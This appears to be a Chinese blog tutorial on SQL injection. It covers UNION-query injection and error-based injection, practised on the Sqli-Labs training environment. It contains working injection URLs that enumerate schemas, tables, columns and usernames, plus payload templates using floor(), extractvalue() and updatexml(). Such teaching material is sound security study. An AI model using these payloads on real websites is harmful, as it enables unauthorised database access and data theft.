抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

本文学习SQL注入语法类型,主要介绍了两种注入语法,分别是UNION联合查询注入和报错注入,每一部分都会涉及到Sqli-Labs模拟实战环境。

一、UNION查询注入

1.1 UNION介绍

UNION操作符用于合并两个或多个SELECT语句的结果集。

注意:要与UNION前面的select语句拥有相同数量的列。

1.2 UNION注入应用场景

  1. 只有最有一个select子句允许有order by
  2. 只有最有一个select子句允许有limit
  3. 查询字段数一样
  4. 注入点页面有回显

1.3 UNION注入过程

  1. order by确定列数

image-20200320113549844

image-20200320113619571

image-20200320113652427

image-20200320113729873

因此可以确认该user表共有三列,便于后续union查询操作。

  1. 观察页面返回, 选取可以显示数据的位置,进行下一步的注入

image-20200320115406791

  1. 读库信息(详细解析请看第一章)
    1
    http://127.0.0.1:8999/Less-1/?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)--+
  2. 读表信息(详细解析请看第一章)
    1
    http://127.0.0.1:8999/Less-1/?id=-1' union select 1,2,(select group_concat(table_name) from%20information_schema.tables where table_schema='security')--+
  3. 读列信息(详细解析请看第一章)
    1
    http://127.0.0.1:8999/Less-1/?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')--+
  4. 读数据信息(详细解析请看第一章)
    1
    2
    3
    http://127.0.0.1:8999/Less-1/?id=-1' union select 1,2,(select group_concat(username) from security.users)--+
    # 或者
    http://127.0.0.1:8999/Less-1/?id=-1' union select 1,2,group_concat(username) from users--+

    二、报错注入

2.1 报错注入原理

构造Payload让信息通过错误提示回显出来

应用场景:

  1. 查询不回显内容,会打印错误信息
  2. UPDATE、INSRET等语句,会打印错误信息
1
2
3
4
5
if($row){
echo 'Your Login name:'.$row['username'];
}else{
print_r(mysql_error());
}

image-20200320162115626

2.2 报错注入实战

函数 举例(公式)
floor() select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2))rand()函数进行操作时产生错误
extractvalue() extactvalue(1,concat(0x7e,(select user()),0x7e))对XPATH语法错误产生报错
updatexml() select updatexml(1,concat(ox7e,(select user()),ox7e),1)对XPATH语法错误产生报错

floor()报错注入方法

Payload:*select count(\) from information_schema.tables group by concat(**需要的回显信息),floor(rand(0)*2))

extractvalue()报错注入方法

Payload:*select extactvalue(1,concat(0x7e,(\需要的回显信息*\),0x7e))

updatexml()报错注入方法

Payload:*select updatexml(1,concat(0x7e,(\需要的回显信息*\),0x7e),1)

注意:updatexml()返回的数据长度不超过32,因此使用substr(str,index,length)进行截取就可。

评论